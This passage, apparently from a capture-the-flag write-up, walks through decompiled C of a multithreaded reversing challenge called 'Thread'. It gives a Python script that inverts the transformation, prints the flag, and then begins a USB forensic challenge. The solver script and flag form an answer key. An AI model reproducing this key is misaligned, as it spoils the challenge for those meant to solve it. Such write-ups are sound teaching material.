class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Failed to scan.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        rax_4 <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">strlen</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_48<span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0x2d</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Incorrect.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        rax_4 <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">else</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4140<span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_48 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token function\">pthread_mutex_init</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>data_4100<span class=\"token punctuation\">,</span> nullptr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">void</span> var_1b8<span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> i_1 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i_1 <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">;</span> i_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>i_1 <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">void</span> var_278<span class=\"token punctuation\">;</span>\n            <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_278 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>i_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> i_1<span class=\"token punctuation\">;</span>\n            <span class=\"token function\">pthread_create</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>i_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>var_1b8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> sub_1289<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_278 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>i_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> i_2 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i_2 <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">;</span> i_2 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>i_2 <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token function\">pthread_join</span><span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_1b8 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>i_2<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token function\">pthread_mutex_destroy</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>data_4100<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token class-name\">int32_t</span> var_27c_1 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>true<span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_27c_1 <span class=\"token operator\">></span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">{</span>\n                <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Correct!\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                rax_4 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span>\n            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_27c_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4140<span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_27c_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4020<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">{</span>\n                <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Incorrect.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                rax_4 <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span>\n            var_27c_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_27c_1 <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>fsbase <span class=\"token operator\">+</span> <span class=\"token number\">0x28</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>rax <span class=\"token operator\">==</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>fsbase <span class=\"token operator\">+</span> <span class=\"token number\">0x28</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> rax_4<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token function\">__stack_chk_fail</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token comment\">/* no return */</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>In this function, it takes an input string of 0x2d characters and creates and runs a thread for each character that executes the callback function defined in <code class=\"language-text\">sub_1289</code>.</p>\n<p>Inside this callback function, it performs the following operations on the buffer storing the input characters.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token class-name\">int64_t</span> <span class=\"token function\">sub_1289</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span><span class=\"token operator\">*</span> arg1<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token class-name\">int32_t</span> rax_1 <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>arg1<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int32_t</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">&lt;=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">pthread_mutex_lock</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>data_4100<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token class-name\">int32_t</span> rax_6 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>rax_1 <span class=\"token operator\">+</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>rax_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4200<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>rax_6 <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>rax_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4140<span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>rax_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4140<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>rax_6 <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>rax_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4140<span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>rax_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4140<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">5</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>rax_6 <span class=\"token operator\">==</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>rax_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4140<span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>rax_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4140<span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x7f</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>rax_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4200<span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>rax_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4200<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        i <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>rax_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4200<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token function\">pthread_mutex_unlock</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>data_4100<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Here, depending on the result of taking each index value in the separately defined <code class=\"language-text\">data_4200</code> table modulo 3, a different calculation is applied to the character.</p>\n<p>The computation itself is very simple: one of three operations is applied based on the input character’s index modulo 3.</p>\n<p>So I wrote the following script to reverse the byte sequence hardcoded in <code class=\"language-text\">data_4020</code>, which recovered the correct flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">base <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>\n\t<span class=\"token number\">0x00a8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x008a</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00bf</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00a5</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x02fd</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0059</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00de</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0024</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x0065</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x010f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00de</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0023</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x015d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0042</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x002c</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00de</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x0009</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0065</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00de</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0051</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x00ef</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x013f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0024</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0053</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x015d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0048</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0053</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00de</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x0009</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0053</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x014b</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0024</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x0065</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00de</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0036</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0053</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x015d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0012</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x004a</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0124</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x003f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x005f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x014e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00d5</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x000b</span>\n<span class=\"token punctuation\">]</span>\n\nflag <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\n<span class=\"token keyword\">for</span> k <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x2d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">if</span> k <span class=\"token operator\">%</span> <span class=\"token number\">3</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n        flag <span class=\"token operator\">+=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>base<span class=\"token punctuation\">[</span>k<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x7f</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">5</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">//</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">if</span> k <span class=\"token operator\">%</span> <span class=\"token number\">3</span> <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n        flag <span class=\"token operator\">+=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>base<span class=\"token punctuation\">[</span>k<span class=\"token punctuation\">]</span> <span class=\"token operator\">//</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span><span class=\"token number\">0x7f</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">5</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">if</span> k <span class=\"token operator\">%</span> <span class=\"token number\">3</span> <span class=\"token operator\">==</span> <span class=\"token number\">2</span><span class=\"token punctuation\">:</span>\n        flag <span class=\"token operator\">+=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>base<span class=\"token punctuation\">[</span>k<span class=\"token punctuation\">]</span> <span class=\"token operator\">-</span><span class=\"token number\">5</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">//</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x7f</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># FLAG{c4n_y0u_dr4w_4_1ine_be4ween_4he_thread3}</span></code></pre></div>\n<p>The challenge was titled Thread and did implement multithreading, but since it also used a mutex, it did not feel particularly thread-like to me.</p>\n<h2 id=\"tiny-usbforensic\" style=\"position:relative;\"><a href=\"#tiny-usbforensic\" aria-label=\"tiny usbforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>tiny usb(Forensic)</h2>\n<blockquote>\n<p>The USB is tiny</p>\n</blockquote>\n<p>When I opened the ISO provided as the challenge binary, the following flag was there.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 621px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/1bc97b182f60dbcfb8f9b5485cb70390/3075e/image-20240622012409952.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 96.25000000000001%; position: relative; bottom: 0; left: 0; background-image: 